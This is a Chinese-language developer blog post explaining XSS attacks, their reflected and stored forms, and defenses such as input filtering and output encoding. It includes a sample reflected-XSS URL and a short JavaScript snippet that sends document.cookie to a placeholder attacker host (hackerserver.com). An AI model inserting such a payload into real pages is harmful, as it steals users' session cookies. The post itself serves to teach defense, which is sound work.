你们的系统真的安全吗?你们系统是不是也有这种诡异的情况呢?

这个文章来源灵感是公司的项目在安全检查的时候,发现了很多 SQL 注入的一些问题还有一些 XSS 攻击问题,SQL 注入我们都是比较了解的,那么什么是 XSS 攻击呢?测试反馈给我的时候我是一脸懵逼呀,现在我们就来说一下什么是 XSS 攻击,以及我们怎么防止它的出现。

什么是XSS攻击

我当时听到 XSS 攻击的时候是一脸懵,但是,程序员咱们不就是就是解决问题的嘛,于是打开 Chrome ,百度!

百度百科给出的解释是这样的:

XSS 攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是 JavaScript ,但实际上也可以包括 Java 、 VBScript 、ActiveX 、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和 cookie 等各种内容。

XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器 执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列 表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实 施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨大的,是web安全的头号大敌。

XSS攻击类型

  1. XSS 反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。

其实反射型 XSS ,也叫非持久型 XSS ,是指发生请求时,XSS 代码出现在请求URL中,作为参数提交到服务器,服务器解析并响应。响应结果中包含 XSS 代码,最后浏览器解析并执行。从概念上可以看出,反射型 XSS 代码是首先出现在URL中的,然后需要服务端解析,最后需要浏览器解析之后 XSS 代码才能够攻击。

我们看一下 XSS 攻击他是怎么使用 URL 来进行攻击的。

具体流程:

  • 1给2发送一个恶意构造了Web的URL。
  • 2点击并查看了这个URL。
  • 恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在2电脑上。
  • 具有漏洞的HTML页面包含了在2电脑本地域执行的JavaScript。
  • 1的恶意脚本可以在2的电脑上执行2所持有的权限下的命令。

举个例子来说就像是这样的,http://localhost:8080/helloController/search?name=<script>alert("hey!")</script>

  1. XSS存储型攻击,恶意代码被保存到目标网站的服务器中,这种攻击具有较强的稳定性和持久性,比较常见场景是在博客,论坛等社交网站上,但OA系统,和CRM系统上也能看到它身影,比如:某CRM系统的客户投诉功能上存在XSS存储型漏洞,黑客提交了恶意攻击代码,当系统管理员查看投诉信息时恶意代码执行,窃取了客户的资料,然而管理员毫不知情,这就是典型的XSS存储型攻击。

而 XSS 存储型攻击,也叫持久型 XSS ,主要是将 XSS 代码发送到服务器(不管是数据库、内存还是文件系统等。),然后在下次请求页面的时候就不用带上 XSS 代码了。最典型的就是留言板 XSS。用户提交了一条包含 XSS 代码的留言到数据库。当目标用户查询留言时,那些留言的内容会从服务器解析之后加载出来。浏览器发现有 XSS 代码,就当做正常的HTML和JS解析执行。XSS 攻击就发生了。

这种存储型攻击一般就会用来窃取 Cookie,token,账号和密码这样的数据,

就比如说,我们在页面上写内容的时候,A发了一篇文字,B回复的应该是文字才对,这时候B发送了一段文字,并且在内容里面嵌入了JS的代码,这时候B的JS的代码就会执行,比如在里面窃取你的Cookie等操作,这些都是有可能存在的。

还有的就是有一些网站,在本应该是图片的地方他加上了Src,在你无意中惦记图片的时候,就直接跳转到某个网站下,这些属于其实也是属于XSS攻击的。

就比如说他要获取你的Cookie:

1
2
3
4
var i=document.createElement("img")
document.body.appendChild(i)
i.src = "http://www.hackerserver.com/?c=" + document.cookie

就再图片的后面给你加上了这个获取你Cookie的方法,然后你在点击到这个链接的时候,就会把Cookie的信息带出来了。

XSS攻击需要有哪些条件

  1. 需要向web页面注入恶意代码;

  2. 这些恶意代码能够被浏览器成功的执行。

也就是说,一旦满足这条件的时候,就会出现XSS攻击这种情况,那么,你的系统安全性将会受到严重的破坏。

XSS原理

其实XSS攻击最主要发生的地方就是我们的HTML中,因为HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,<title>与</title>之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。

我们说完到底什么是XSS攻击之后,我们该说一下到底应该怎么去防范了。

如何防止XSS攻击

1.入参字符过滤

比如说把输入的一些不合法的东西都过滤掉,从而保证安全性。如移除用户提交的的DOM属性如onerror,移除用户上传的Style节点,<iframe>, <script>,<a>节点等

2.出参进行编码

像一些常见的符号,如<>在输出的时候要对其进行转换编码,这样做浏览器是不会对该标签进行解释执行的,同时也不影响显示效果。例如:对<>做编码如:”<”用:”<”,”>”用:”>“来代替。

3.入参长度限制

xss攻击要能达成往往需要较长的字符串,因此对于一些可以预期的输入可以通过限制长度强制截断来进行防御。

4.纯前端渲染

纯前端渲染的过程:

(1).浏览器先加载一个静态 HTML,此 HTML 中不包含任何跟业务相关的数据。

(2).然后浏览器执行 HTML 中的 JavaScript。

(3).JavaScript 通过 Ajax 加载业务数据,调用 DOM API 更新到页面上。

在纯前端渲染中,我们会明确的告诉浏览器:下面要设置的内容是文本(.innerText),还是属性(.setAttribute),还是样式(.style)等等。浏览器不会被轻易的被欺骗,执行预期外的代码了。

但纯前端渲染还需注意避免 DOM 型 XSS 漏洞(例如 onload 事件和 href 中的 javascript:xxx 等,请参考下文”预防 DOM 型 XSS 攻击“部分)。

在很多内部、管理系统中,采用纯前端渲染是非常合适的。但对于性能要求高,或有 SEO 需求的页面,我们仍然要面对拼接 HTML 的问题。

以上就是我想给大家讲述的内容了,如果你们公司的系统还没有做过XSS漏洞检测,那么你就可以适当的把自己的代码修改一下了,毕竟我们不是一点JS代码都不写的,你说呢?

我是懿,一个正在被打击还在努力前进的码农。欢迎大家关注我们的公众号,加入我们的知识星球,我们在知识星球中等着你的加入。

Java Geek Tech wechat
欢迎订阅 Java 极客技术,这里分享关于 Java 的一切。